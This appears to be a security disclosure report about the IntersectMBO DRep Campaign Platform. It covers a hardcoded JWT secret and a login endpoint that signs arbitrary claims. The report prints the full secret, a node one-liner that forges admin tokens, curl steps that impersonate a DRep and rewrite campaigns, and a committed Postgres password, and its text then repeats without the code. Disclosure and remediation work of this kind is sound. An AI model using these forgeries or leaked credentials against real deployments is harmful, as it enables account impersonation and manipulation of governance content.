Received through the security mailbox
IntersectMBO/drep-campaign-platform (Voltaire DRep Campaign Platform) — Two Compounding
Defects Enable Arbitrary DRep Impersonation, Campaign Content Rewriting, and Offline Token
Forgery Against Every Deployment Running This Source
Vulnerability Description
The DRep Campaign Platform allows Cardano DReps to publish campaign profiles that ada-holders use to choose
where to delegate their voting power. The platform's authentication relies on JWTs signed with a symmetric HS256
secret. Two independent but compounding defects combine to destroy the authentication model entirely:
Defect 1 — JWT Signing Secret Hardcoded in Public Source
// backend/src/auth/jwtConstants.ts
// HEAD of public repo — visible to the entire internet
//no env file found thus this will reside here for a moment
const jwtConstants = {
secret: 'f6193c376fa7037461ef0b1b061c40c556646aef5d72805b4808bc61db7303
1cea8599910299e9124a32be0cf9b93aed9398c8b0166653bfc8713aa11a64f845'
}
export default jwtConstants
// backend/src/auth/auth.module.ts — imported directly, no env override:
JwtModule.register({ global: true, secret: jwtConstants.secret })
The developer note ("this will reside here for a moment") confirms the secret was intended to move to an environment
variable, but the import in auth.module.ts references jwtConstants.secret directly with no fallback or override path.
Every deployment that builds this source is locked to this exact secret. Because the secret is now public on GitHub, it
is compromised regardless of any fix to Defect 2 — every token signed by any historical deployment is retroactively
forgeable offline.
Defect 2 — /auth/login Signs Any Arbitrary Payload
// backend/src/auth/auth.controller.ts
@Post('login')
async login(@Body() payload: any) {
const {expiry, ...authPayload} = payload; // split off TTL
return this.authService.login(authPayload, expiry); // sign the rest
}
// backend/src/auth/auth.service.ts
async login(payload: any, tte: number | string) {
// basically should check if the user signature is valid in the case of
// a drep or just provide a token for a normal user.
const token = await this.signJWT(payload, tte);
return { token };
}
The service's own comment ("basically should check if the user signature is valid") is the author's TODO that was
never implemented. There is no wallet-signature verification, no challenge-response, no password check, no rate
limit, and no whitelist of allowed claim keys. The controller accepts any JSON, signs the claims the attacker provides
(including drepId, role: "admin", userId), and returns a valid bearer token that passes every JwtAuthGuard in the
codebase.
Proof of Concept
PoC 1: Offline JWT forgery using the published secret (no network required)
Any party who has read the public repository can forge a valid bearer token impersonating any DRep as admin, with a
10-year TTL, entirely offline:
$ node -e '
const jwt = require("jsonwebtoken");
const SECRET = "f6193c376fa7037461ef0b1b061c40c556646aef5d72805b4808bc61db7303
1cea8599910299e9124a32be0cf9b93aed9398c8b0166653bfc8713aa11a64f845";
console.log(
jwt.sign(
{ drepId: "drep_victim_id_here", role: "admin", userId: 1 },
SECRET,
{ expiresIn: "10y" }
)
);
'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJkcmVwSWQiOiJkcmVwX3ZpY3RpbV9pZF9oZXJlIiwicm9sZSI6ImFkbWluIiwidXNlcklkIjoxL
CJpYXQiOjE3Nzk5MDk3NjAsImV4cCI6MjA5NTQ4OTc2MH0.
<valid_HS256_signature_over_hardcoded_secret>
# This token is byte-for-byte valid against every backend route using
# jwtConstants.secret. Passes JwtAuthGuard on every protected endpoint.
PoC 2: Live endpoint abuse (when deployment URL is known)
Once the deployment URL is supplied, a single curl confirms Defect 2. No prior authentication, no wallet, no
challenge:
# Step 1: Call /auth/login with attacker-chosen claims
$ curl -sS -X POST https://<deployment-host>/auth/login \
-H "Content-Type: application/json" \
-d '{
"drepId": "<target-drep-id>",
"userId": 1,
"role": "admin",
"expiry": "10y"
}'
# Expected response (no challenge, no error):
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<claims>.<sig>"}
# Step 2: Use the token against any JwtAuthGuard-protected route
$ curl -sS https://<deployment-host>/api/drep/<target-drep-id> \
-H "Authorization: Bearer <token_from_step_1>"
# Returns the target DRep's full profile — authenticated as that DRep.
# Step 3: Overwrite the target DRep's campaign content
$ curl -sS -X PATCH https://<deployment-host>/api/drep/<target-drep-id>/campaign \
-H "Authorization: Bearer <token_from_step_1>" \
-H "Content-Type: application/json" \
-d '{"campaign": "<attacker-authored content>"}'
Source Evidence — Commit History
# The JWT secret and Postgres password were added in a single commit
# whose message ("Update LICENSE") does not indicate the credential addition:
$ git log --all --oneline -- backend/src/auth/jwtConstants.ts config/secrets/
7a4fc17 Update LICENSE (Christian Taylor, 2025-10-22)
# Postgres credential also committed in the same blob:
$ cat config/secrets/postgres_password
v8hlDV0yMAHHlIurYupj
$ cat config/secrets/postgres_user
postgres
Source References (Public Repository, HEAD)
The following files are publicly readable on GitHub and contain the vulnerabilities described in this report:
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/jwtCons
tants.ts — hardcoded JWT secret
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.co
ntroller.ts — unauthenticated login handler
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.se
rvice.ts — sign-anything service
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.mo
dule.ts — direct secret import, no env override
• github.com/IntersectMBO/drep-campaign-platform/blob/main/config/secrets/postgres_
password — committed DB credential
Impact
• Arbitrary DRep impersonation. An attacker can obtain a valid bearer token for any DRep identity on the
platform — either by calling /auth/login with chosen claims (when the deployment is reachable) or by forging
the token offline with the published secret. Every JwtAuthGuard-protected route in the codebase trusts the token.
• Campaign content rewriting under any DRep's name. The platform's primary purpose is to let DReps
publish campaign material that ada-holders use to choose delegation. Impersonating a DRep lets an attacker
rewrite that DRep's campaign profile, rationale, and commitments. Ada-holders see attacker-authored content
displayed as the legitimate DRep's statement.
• Downstream governance integrity corruption. Ada-holder delegation decisions on the Cardano network flow
from the DRep profiles published here. Manipulating campaign content under high-profile DRep identities (large
treasuries, well-known community figures) can meaningfully redirect ADA delegation and Cardano governance
votes.
• Retroactive token forgery. Because the secret is public, every token issued by every deployment that ever
ran this code is retroactively forgeable. Rotation fixes future tokens but cannot revoke the attacker's ability to
forge tokens for sessions that predate the rotation — unless the server additionally enforces a minimum
issuance timestamp.
• Bonus — Postgres database takeover. If the production deployment reuses the committed credential
(v8hlDV0yMAHHlIurYupj), direct database access is available to any party who can reach the DB port. The
Postgres instance indexes Cardano db-sync data — full read/write on the chain-indexer data the platform
serves.
Remediation (In Strict Priority Order)
• Immediate (P0) — Rotate the JWT secret TODAY. Generate a fresh ³256-bit random secret. Store it in a
vault or environment variable (process.env.JWT_SECRET) that is never committed. Replace the import in
auth.module.ts with secret: process.env.JWT_SECRET || (() => { throw new
Error('JWT_SECRET missing'); })(). Reject any token whose iat predates the rotation timestamp via a
custom guard — this is the only way to invalidate all tokens signed with the leaked secret.
• Immediate (P0) — Delete jwtConstants.ts and scrub from git history. Running git filter-repo
--path backend/src/auth/jwtConstants.ts --invert-paths removes the file from every branch
and tag. Force-push to GitHub and request GitHub staff to clear the cached objects. The file must be removed
from history before any rotated secret can be considered safe.
• Immediate (P0) — Replace the /auth/login endpoint with real CIP-30 wallet verification. The body must
include the wallet identifier and a CIP-8 / CIP-30 signData signature over a server-issued nonce. The service
must verify: (a) the nonce was issued by this server within a short TTL window; (b) the signature is valid over the
nonce; (c) the blake2b-224 hash of the signing public key matches the supplied DRep identifier. Reject all other
body shapes with 401. The existing GovTool frontends already implement this flow and can serve as a
reference.
• Immediate (P0) — Rotate config/secrets/postgres_password. If any production deployment uses the
committed credential, change it immediately. Use Docker secrets or env-var injection — never commit the
password file.
• Short-Term — Audit JwtAuthGuard claim consumers. Even with a correct login endpoint and rotated
secret, guards that trust drepId, role, or permissions from the JWT payload without re-verifying against the
database are vulnerable to claim manipulation. Re-verify claims against DB on each request.
• Long-Term — Add CI secret scanning. TruffleHog, GitLeaks, or GitHub Advanced Security in the PR pipeline
would have caught this: the 128-char hex string in jwtConstants.ts and the 20-char Postgres password in
config/secrets/ both match high-entropy-string heuristics. The "Update LICENSE" commit message that hid both
secrets is exactly the case these tools are designed to surface.
Received through the security mailbox
IntersectMBO/drep-campaign-platform (Voltaire DRep Campaign Platform) — Two Compounding
Defects Enable Arbitrary DRep Impersonation, Campaign Content Rewriting, and Offline Token
Forgery Against Every Deployment Running This Source
Vulnerability Description
The DRep Campaign Platform allows Cardano DReps to publish campaign profiles that ada-holders use to choose
where to delegate their voting power. The platform's authentication relies on JWTs signed with a symmetric HS256
secret. Two independent but compounding defects combine to destroy the authentication model entirely:
Defect 1 — JWT Signing Secret Hardcoded in Public Source
The developer note ("this will reside here for a moment") confirms the secret was intended to move to an environment
variable, but the import in auth.module.ts references jwtConstants.secret directly with no fallback or override path.
Every deployment that builds this source is locked to this exact secret. Because the secret is now public on GitHub, it
is compromised regardless of any fix to Defect 2 — every token signed by any historical deployment is retroactively
forgeable offline.
Defect 2 — /auth/login Signs Any Arbitrary Payload
The service's own comment ("basically should check if the user signature is valid") is the author's TODO that was
never implemented. There is no wallet-signature verification, no challenge-response, no password check, no rate
limit, and no whitelist of allowed claim keys. The controller accepts any JSON, signs the claims the attacker provides
(including drepId, role: "admin", userId), and returns a valid bearer token that passes every JwtAuthGuard in the
codebase.
Proof of Concept
PoC 1: Offline JWT forgery using the published secret (no network required)
Any party who has read the public repository can forge a valid bearer token impersonating any DRep as admin, with a
10-year TTL, entirely offline:
PoC 2: Live endpoint abuse (when deployment URL is known)
Once the deployment URL is supplied, a single curl confirms Defect 2. No prior authentication, no wallet, no
challenge:
Source Evidence — Commit History
Source References (Public Repository, HEAD)
The following files are publicly readable on GitHub and contain the vulnerabilities described in this report:
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/jwtCons
tants.ts — hardcoded JWT secret
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.co
ntroller.ts — unauthenticated login handler
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.se
rvice.ts — sign-anything service
• github.com/IntersectMBO/drep-campaign-platform/blob/main/backend/src/auth/auth.mo
dule.ts — direct secret import, no env override
• github.com/IntersectMBO/drep-campaign-platform/blob/main/config/secrets/postgres_
password — committed DB credential
Impact
• Arbitrary DRep impersonation. An attacker can obtain a valid bearer token for any DRep identity on the
platform — either by calling /auth/login with chosen claims (when the deployment is reachable) or by forging
the token offline with the published secret. Every JwtAuthGuard-protected route in the codebase trusts the token.
• Campaign content rewriting under any DRep's name. The platform's primary purpose is to let DReps
publish campaign material that ada-holders use to choose delegation. Impersonating a DRep lets an attacker
rewrite that DRep's campaign profile, rationale, and commitments. Ada-holders see attacker-authored content
displayed as the legitimate DRep's statement.
• Downstream governance integrity corruption. Ada-holder delegation decisions on the Cardano network flow
from the DRep profiles published here. Manipulating campaign content under high-profile DRep identities (large
treasuries, well-known community figures) can meaningfully redirect ADA delegation and Cardano governance
votes.
• Retroactive token forgery. Because the secret is public, every token issued by every deployment that ever
ran this code is retroactively forgeable. Rotation fixes future tokens but cannot revoke the attacker's ability to
forge tokens for sessions that predate the rotation — unless the server additionally enforces a minimum
issuance timestamp.
• Bonus — Postgres database takeover. If the production deployment reuses the committed credential
(v8hlDV0yMAHHlIurYupj), direct database access is available to any party who can reach the DB port. The
Postgres instance indexes Cardano db-sync data — full read/write on the chain-indexer data the platform
serves.
Remediation (In Strict Priority Order)
• Immediate (P0) — Rotate the JWT secret TODAY. Generate a fresh ³256-bit random secret. Store it in a
vault or environment variable (process.env.JWT_SECRET) that is never committed. Replace the import in
auth.module.ts with secret: process.env.JWT_SECRET || (() => { throw new
Error('JWT_SECRET missing'); })(). Reject any token whose iat predates the rotation timestamp via a
custom guard — this is the only way to invalidate all tokens signed with the leaked secret.
• Immediate (P0) — Delete jwtConstants.ts and scrub from git history. Running git filter-repo
--path backend/src/auth/jwtConstants.ts --invert-paths removes the file from every branch
and tag. Force-push to GitHub and request GitHub staff to clear the cached objects. The file must be removed
from history before any rotated secret can be considered safe.
• Immediate (P0) — Replace the /auth/login endpoint with real CIP-30 wallet verification. The body must
include the wallet identifier and a CIP-8 / CIP-30 signData signature over a server-issued nonce. The service
must verify: (a) the nonce was issued by this server within a short TTL window; (b) the signature is valid over the
nonce; (c) the blake2b-224 hash of the signing public key matches the supplied DRep identifier. Reject all other
body shapes with 401. The existing GovTool frontends already implement this flow and can serve as a
reference.
• Immediate (P0) — Rotate config/secrets/postgres_password. If any production deployment uses the
committed credential, change it immediately. Use Docker secrets or env-var injection — never commit the
password file.
• Short-Term — Audit JwtAuthGuard claim consumers. Even with a correct login endpoint and rotated
secret, guards that trust drepId, role, or permissions from the JWT payload without re-verifying against the
database are vulnerable to claim manipulation. Re-verify claims against DB on each request.
• Long-Term — Add CI secret scanning. TruffleHog, GitLeaks, or GitHub Advanced Security in the PR pipeline
would have caught this: the 128-char hex string in jwtConstants.ts and the 20-char Postgres password in
config/secrets/ both match high-entropy-string heuristics. The "Update LICENSE" commit message that hid both
secrets is exactly the case these tools are designed to surface.